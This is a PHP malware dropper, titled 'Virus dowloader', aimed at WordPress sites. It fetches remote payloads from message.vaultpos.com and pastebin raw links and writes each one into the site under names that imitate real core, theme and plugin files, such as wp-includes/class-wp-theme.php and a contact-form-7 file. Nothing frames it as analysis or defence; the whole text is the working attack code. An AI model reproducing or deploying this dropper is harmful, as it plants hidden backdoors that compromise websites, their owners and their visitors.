Virus dowloader
<?php function http_get($url){ $im = curl_init($url); curl_setopt($im, CURLOPT_RETURNTRANSFER, 1); curl_setopt($im, CURLOPT_CONNECTTIMEOUT, 10); curl_setopt($im, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($im, CURLOPT_HEADER, 0); return curl_exec($im); curl_close($im); } $check = $_SERVER['DOCUMENT_ROOT'] . "/wp-content/plugins/contact-form-7/wp-upload.php" ; $text = http_get('http://message.vaultpos.com/raw.php'); $open = fopen($check, 'w'); fwrite($open, $text); fclose($open); if(file_exists($check)){ echo $check."</br>"; }else echo "not exits"; echo "done .\n " ; $check0 = $_SERVER['DOCUMENT_ROOT'] . "/wp-content/themes/twentyfifteen/content-type.php" ; $text0 = http_get('http://message.vaultpos.com/raw'); $open0 = fopen($check0, 'w'); fwrite($open0, $text0); fclose($open0); if(file_exists($check0)){ echo $check0."</br>"; }else echo "not exits"; echo "done .\n " ; $check2 = $_SERVER['DOCUMENT_ROOT'] . "/wp-includes/SimplePie/Regexp.php" ; $text2 = http_get('http://pastebin.com/raw/wjaAeVpP'); $open2 = fopen($check2, 'w'); fwrite($open2, $text2); fclose($open2); if(file_exists($check2)){ echo $check2."</br>"; }else echo "not exits"; echo "done .\n " ; $check3=$_SERVER['DOCUMENT_ROOT'] . "/wp-includes/class-wp-theme.php" ; $text3 = http_get('http://message.vaultpos.com/new/jJBehgu7'); $op3=fopen($check3, 'w'); fwrite($op3,$text3); fclose($op3); if(file_exists($check3)){ echo $check3."</br>"; }else echo "not exits"; echo "done .\n " ; $check5 = $_SERVER['DOCUMENT_ROOT'] . "/wp-admin/includes/class-wp-theme-install-core-table.php" ; $text5 = http_get('http://pastebin.com/raw/NWxKGhjq'); $open5 = fopen($check5, 'w'); fwrite($open5, $text5); fclose($open5); if(file_exists($check5)){ echo $check5."</br>"; }else echo "not exits"; echo "done .\n " ; $check6 = $_SERVER['DOCUMENT_ROOT'] . "/wp-admin/options-select.php" ; $text6 = http_get('http://message.vaultpos.com/file/FUcZhfrn'); $open6 = fopen($check6, 'w'); fwrite($open6, $text6); fclose($open6); if(file_exists($check6)){ echo $check6."</br>"; }else echo "not exits"; echo "done .\n " ; ?>